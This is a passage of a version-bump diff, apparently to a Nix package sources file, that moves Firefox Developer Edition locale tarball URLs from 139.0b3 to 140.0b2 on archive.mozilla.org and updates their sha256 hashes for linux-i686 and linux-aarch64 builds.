-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ja/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ja/firefox-140.0b2.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "ad3d2dc245f06c540b7705e4c43b18477f3ef2b6cb21046f2c6aea5ec3343744";
+      sha256 = "5deaef5a05465c8bfa5f10480f0c0928a498c1b5f495e198bbf5bb187c2139dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ka/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ka/firefox-140.0b2.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "5d1c0a0642967fcd4646e2a615c5033634913b4e55b53669de1a27f6de18d39d";
+      sha256 = "6c8ea6cab65bae0429c9f63b906e63f40233a01dffb061b0c37d60b0c966346d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/kab/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/kab/firefox-140.0b2.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "fb3636bc0836dc5754a86f40274e3cabb1d32ea1e493cb84bdd0f61b1ce526ae";
+      sha256 = "2c1b647450c0e179548aef5794a596e2053322be9c4b36da78616cad106537b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/kk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/kk/firefox-140.0b2.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "ff7faeccbc3977063bc69628c64320e0113a6cf0cf487fc0b6253debd7c1da04";
+      sha256 = "36349bedecc9a5d3cc4eca66232925583b82a5f9b7ec2104259f7e5ab2704041";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/km/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/km/firefox-140.0b2.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "fad1f93e314bde16894eb472b2cc2ea41b5227f4d916d15c536b3892fead5587";
+      sha256 = "a50643354ee4c99602b2a31c6ab79a651a6a74692eee373c988c0ccba8ae9574";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/kn/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/kn/firefox-140.0b2.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "32891d6d78f97ce1eb3f72751252e8ac15474a67ff3b69e0fe78f21efbe50aea";
+      sha256 = "bf484b8f53ce0703250f4ae0adca41b327addd29319a99087a930abaf92296d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ko/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ko/firefox-140.0b2.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "f4f7315ddffe3bd50d927cb29e6a29887f31601c6c062dd349e26920fa1faaa2";
+      sha256 = "4297f9355f72fbbddb7a337f0de9877c88cfe6a74b98262791d4eea48a9e8b44";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/lij/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/lij/firefox-140.0b2.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "ffd066b6b01c2180e8d85ac3c91521b3c2d0a349184bd6c3a5daa220dde51942";
+      sha256 = "d1128743a077f51f9dabfc3b949a64500dbe5936bd29347e0042ce118b5621f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/lt/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/lt/firefox-140.0b2.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "6d14d17de1c256b6c2f44dc032a09b99244cf9dc81619c18cb750f9900857f94";
+      sha256 = "ca2d1ae064e99bd1cc490b8d47cac1a342419ab23a3dd39919873d102d416d7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/lv/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/lv/firefox-140.0b2.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "d9f0720f4d1b663406b14db66f739ff1d0e2dc5e849f88640d0899c3de528f4c";
+      sha256 = "cab179bfcd42b5a93311a3b0e7d298ff1130e17c5c5493b8321693b9149b5b48";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/mk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/mk/firefox-140.0b2.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "e770c64d793af8d63bb33434f427ecc9cdffb49345ef966ee7b27232214a11ad";
+      sha256 = "ddbf2ffebf122e83bc865808782cb3d1e0700cc29467b6ad8506ee03499580bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/mr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/mr/firefox-140.0b2.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "bf0a4fb9bec478a1fa1d48be903509b5f23c45dfa7754afb78aca3962e7fd21e";
+      sha256 = "b7635fbe1baff6f7edeb4b832aabd21d12582a7c66cd086b95b0a02aebba4f56";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ms/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ms/firefox-140.0b2.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "8d09acce703795b35bc04887cb26e4020af5c397fa396c2f2806548b5980b6da";
+      sha256 = "953a47f53c007d2cf02b22a787e8c476c763ebc5b15796973cc406d34301440c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/my/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/my/firefox-140.0b2.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "f0b894a6462f5a80c23cf83a1a011c491a0fcbf61fc04c2b0aad6a0ecf9b6a42";
+      sha256 = "a6ff85aead2ee5d55bcf055a42452d44439b9a51ae25b5336a3b22a573c0b46a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/nb-NO/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/nb-NO/firefox-140.0b2.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "2af8e1f308a6010c3b8523c1e9d12d0e1b5b9724ad1f444394ca58433a2298c0";
+      sha256 = "ae4dadeba15ae17d3307f09392ebb3f85f0212332f9a9a857ba5b6118452c2cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ne-NP/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ne-NP/firefox-140.0b2.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "004f3b52f367a1bbd35aa06d7040035bfaf5da5524370810c789746ed78af888";
+      sha256 = "28e20f4d661bd7e95495155249faecf8fbb5e7e654298ed1fbdd62cc971476e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/nl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/nl/firefox-140.0b2.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "eef545c2a3937500dd825e5e0ba94735246bb2e8750a3b3c2266026f5b1859b6";
+      sha256 = "dafc7696a404c8fad558b649677988c076c5eb4685fb801840710657631c5356";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/nn-NO/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/nn-NO/firefox-140.0b2.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "794b917cedc6dc92964665da249dd018ddf288f837ab2968794b63c2360a8cce";
+      sha256 = "992fe42be2e1521e85b9f5baed59f0e87ed71bf62c99190801bf9c2f5f5351f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/oc/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/oc/firefox-140.0b2.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "3b83f2fbbf74b91e44a7f0043940d242b1b736d75394caecbb9401e328e23da6";
+      sha256 = "accf61fd69c7e00bdd48163403b6bbacb37202a2db113983fbaf8dc1a3598b0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/pa-IN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/pa-IN/firefox-140.0b2.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "72e016689aa5823d0c1023afa000780e6e60bcf752eaa7f1fd68da107f22f6e3";
+      sha256 = "6fe0de8669c63d79837ea4dc062f4550b5ee709446c24cdb54572fa9a3916469";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/pl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/pl/firefox-140.0b2.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "263dbd2d79cbc7a2c0a0b21a3fbff69fa22383f39d7824ffdc31194f03a69327";
+      sha256 = "71d4c24b490678d5941caa81eb9206c8aef0688eb6d134766588b2ba1a4fd808";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/pt-BR/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/pt-BR/firefox-140.0b2.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "2c9b08173760317cebebe8ab746b8a024db38bc7a7aaf4e9de034bfb50abe5be";
+      sha256 = "85a69113a9348f3aea241a7de7439dea2c3ce3768ddd8d4b2a3ca5c1769059fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/pt-PT/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/pt-PT/firefox-140.0b2.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "df8fdc9ca8a2a16decff55ac6b64775ae2dc7c64d6dbdd8fc15df014a8f8a656";
+      sha256 = "4586e1e50cb48044075c4128ae7671d23daa9ea186c8d60272aed76ac5d3bc7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/rm/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/rm/firefox-140.0b2.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "2b6f3c308e293955fd8243fa724dc969d054b7c0d086bc1a243e2c19bef27bed";
+      sha256 = "d06072037678bb49711952a3f5c7a082b0a39258bbbc951578110ab7f1314bf8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ro/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ro/firefox-140.0b2.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "81d6fb48b838aeb5e9fbbfaffac8936f376289b162958169a50e8a48bdb4bdbe";
+      sha256 = "cdc758063dc9dff54e5d4ca6809798e239c7e096ab7c21c91738c86bd50c4499";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ru/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ru/firefox-140.0b2.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "6fbcd6ea92f5e2c81c926dd407ff2523e551f388b56154a3324c1f04f66c80b7";
+      sha256 = "094f692ad849c608df35112dcaab251f3710145fd28a6426f578d984de4e2bef";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/sat/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sat/firefox-140.0b2.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "77b8647e8702ec7dd982ec622151de4eac6e1873fd632c57bc174d4ebcadb675";
+      sha256 = "5922623b038eb20d5e600d1dfe48af7cadf9e731de85abb5fa12f6e11b59629b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/sc/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sc/firefox-140.0b2.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "cb23ce760425c17792dfb75fe52d39f4fd377b640f69ba8bb575df6fba3f80d1";
+      sha256 = "922dd68c7737deab349f55f8c978a2408e6d405b5a6add9c9ec0728dac4d8e72";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/sco/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sco/firefox-140.0b2.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "f1f71c42b2626d0dcfc3552a1224db422328f4f312512b3fce292b69b24b7560";
+      sha256 = "b5aa0dc79307853f86a37404d9bc42fbedbd94d94c5d65b2600e4505ff4a8553";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/si/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/si/firefox-140.0b2.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "7600e8c27c2e795f7cc4481badc279b461901aa516bbb0728128874791d6639b";
+      sha256 = "3b43ce4e8f2ff93ce083d4202269ca316c7f74407b30386b0cb8c290dc88b895";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/sk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sk/firefox-140.0b2.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "45d7b3b578ead0d40175954f9e65e124853e295a0c528dd6abde891622534e3e";
+      sha256 = "38d4002072a718b74a479e5c733a572565e761a68b906bd7f0e0bc6fd896366a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/skr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/skr/firefox-140.0b2.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "187fbb481c64cc981b20de374913b9d17c3b117a80ab1feec58c18c965ef3e4b";
+      sha256 = "39bb8166cb65e836fa2d4462c8af2bda38ce896b918304a776f1d2cce1419f98";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/sl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sl/firefox-140.0b2.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "17b5faa5a116cc9ab8fa1a322bf6555450f4bcee1a2abf09709645b17bd46ecc";
+      sha256 = "6c72f3e2c35c677ef755e9dfa39ff8c9947a341b4b91d3a8906350fa9395030c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/son/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/son/firefox-140.0b2.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "4639c5d5d267896d07214291c468546ff26478c26c435ee4d10cb2e9dc307e65";
+      sha256 = "2d0711bdbfc89da98a0baa43ce8ef0027c86aa7db78b0a1bd18672b667ab0e30";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/sq/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sq/firefox-140.0b2.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "a0aa72766d7cee37f9d9a4c3a28ae8b954a2d28810bf553cbf442b30edd623d1";
+      sha256 = "1435a9477d2040a926eae4161026f7d343c15dd154af39c785fd0c69a60ccb10";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/sr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sr/firefox-140.0b2.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "607d5e9a73671eb99735e619a2ee701f31ed6dc55ba016a237618de6fe159933";
+      sha256 = "ce3002b8360b73d0ad16175dc65ced8a6a5051b01947ef747bf7aa4bbd2c9ac1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/sv-SE/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/sv-SE/firefox-140.0b2.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "dada2e913de21d7ecf323d302fe2b9263ef6820450622b3b06e73963a6d48f9a";
+      sha256 = "56dbd4190064e6f4e34d85c25771b30decdf97c7050336badb6875137780c70b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/szl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/szl/firefox-140.0b2.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "12526451c0f4c8a8446b0638be2e3c24a52cbd8277928a45e9dafb2c65eb2d03";
+      sha256 = "a3f255842ba2050b100d26ee84a6afb31665f8dbe701db7557449b14672a3c12";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ta/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ta/firefox-140.0b2.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "d3153deeb5951fc6dbff2fac07a51e587d98559042cf1cfea70a55c4c8ad25c7";
+      sha256 = "73f008cf652c7a4453d710674d9d8c635e1feb3187f615a087b3ec87b4b16035";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/te/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/te/firefox-140.0b2.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "21377ea235bb38c01aa1a21516722e2a91ce679ef7d1b32487c8813f1cdd2aea";
+      sha256 = "4307336f634d2bd01aacaeeab52bc995cbc127bc8fd5d9503dbec7c24a4d2f0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/tg/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/tg/firefox-140.0b2.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "a428becb1a20753379791ae6538b0b1bf0ebad0d55f98d7d8c19af0a7294f7e0";
+      sha256 = "97b28078ce5f731948c1e12f0920fa4a307a03d2ed65efe12019ec29b23ab7a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/th/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/th/firefox-140.0b2.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "28a30d8cda25aa1e63fbbcd1bbcdda5a3ae990e1d973f10d4744499a27f13ef8";
+      sha256 = "c159df215ddea3e0372cc738d13897a89470031d4302a0d28612ace823ce1398";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/tl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/tl/firefox-140.0b2.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "80bd0de1021edfe3178abc43017669dbcfe1885c66b71729372bcdb27d381ab5";
+      sha256 = "bd888218d668794483dc75778fbe4afd83443a655b9eaf2c9b367cf32c95d7c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/tr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/tr/firefox-140.0b2.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "f9bc32e243c091be454fc5b4356b986cbbd87bb76135e7cb9f9dd44115af2f5d";
+      sha256 = "88b9244ee99bdd1ffd602df92cd25d02b240ff4aa3a45cd931c0bd9f5d4c9893";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/trs/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/trs/firefox-140.0b2.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "fc7e927f0ed152dea1940b6965c79c3f2a21d22c117d52d9f32568d5f80bd48f";
+      sha256 = "14278135b7debd30d31853d9189ec21f400c2d32cc8a390f1e01675f26aec36c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/uk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/uk/firefox-140.0b2.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "f529c85cd2f12c7b2fb66b1f79268af7ba889c8a6c4cc1accc5b19b74f77301f";
+      sha256 = "93b22572fdbd3095d8e30deea395625b788fb9a778ac2229cb195ce63bfcfe46";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/ur/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ur/firefox-140.0b2.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "e677de49b31054981a22dfa36d9b29339cdc2dc230077b48a381edefa1a17271";
+      sha256 = "f3917596f5f0ca2afd8faa99e916ee272e99bb969c0532775b4b250492e80065";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/uz/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/uz/firefox-140.0b2.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "46d1fa8b789e3c4adb313883a438a8dc051b67b3f005541a31967921b4cf280f";
+      sha256 = "cd5eba259c10496a1febcb3e45af097fef27a1988b46d3da92f41acd2f0ae523";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/vi/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/vi/firefox-140.0b2.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "65e242430ce65fa104fbb0bdaff6cc53a5c0dc60b2094362f2dcebc9aecabb3a";
+      sha256 = "f40f814223621311d4e61330aba019463bce28b238176ee241b5182dcd23fd5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/xh/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/xh/firefox-140.0b2.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "979438f443e8c0ab980af19e9bead77f3039c955c46a2c450db7265bbcf6259e";
+      sha256 = "194e2abca87a28bc6fac3fd8a2e81c2948d82bb02e9a21d77ebbb852d4d3323d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/zh-CN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/zh-CN/firefox-140.0b2.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "c79ad34593f9ef472d0231fe57082a1d4ec62bb4c7cc870c4e510cee5ba3ff44";
+      sha256 = "19d5bd43ee524ec3a7b4bf7d743c382ab21ad8738f821359fa5b076e38dc71a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-i686/zh-TW/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/zh-TW/firefox-140.0b2.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "0e169aa02e3102b396e0d721b15138fe39277e4d84935fe6c8931ef69117b4fe";
+      sha256 = "aae9ed93330ba2097ea3b3281ea5c91dcd21f4577acdc87b368a5b2a30f8e46c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ach/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ach/firefox-140.0b2.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "bd3e5c69934115d423aa111c257520f9cc5219a29588843ee1c5b61b1a3e3da5";
+      sha256 = "8e333cc92651318838354682396e621d91346f82515106a44645db9d58a3af4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/af/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/af/firefox-140.0b2.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "f3b63934c1632d71f49d9a401dc8bf6073936dcd656fb0462a3d34e352075352";
+      sha256 = "b73650f86928fb676d4a1b4ad13abd48a99b3a87c69099f4e67891f2f16b8916";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/an/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/an/firefox-140.0b2.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "313da7d73bf645cea5125e3909c310f3aa81b1713297fb7b66493b79f16d34cf";
+      sha256 = "0087d94bccd33bf7cd38e5272b4722fc6ce0654c86329e5fa400212ba2deae5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ar/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ar/firefox-140.0b2.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "9bd0294aec83fb9bdb4164eb8eeeeda22fc3b2d26e8cb8b1a5e036251be3bcdd";
+      sha256 = "ea37bd6670ac8c1074db798729b2b6372ddc081546f05f5ab492e45edf491280";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ast/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ast/firefox-140.0b2.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "2a3229c50482cd3b86ba9892985680b6cffe4259503d3efcee1ecd6fad4a6005";
+      sha256 = "048e5268852cbb2882daa7e768b661b0168feadd538068724b771564addafd32";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/az/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/az/firefox-140.0b2.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "b64a348dab5618276f0102c23d7e74b4e1bc2af38b36e678b3db53fac08e3125";
+      sha256 = "69be7ed2489c62f4d4aabe0b6e0e356ae0708fd963243a43843f098624883218";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/be/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/be/firefox-140.0b2.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "6e19e16df133ea7b7b796a92c470ddec4ad9db281361210dc249851dd9c05e3b";
+      sha256 = "831ac7b7469b7a94a63f8687f8c8d1a6626d0555f084602b341b7875100ec6e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/bg/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/bg/firefox-140.0b2.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "c691fcf4ff5aa896b51e12c01b5faddf1ab8d3e990fcb5a37c89450511647335";
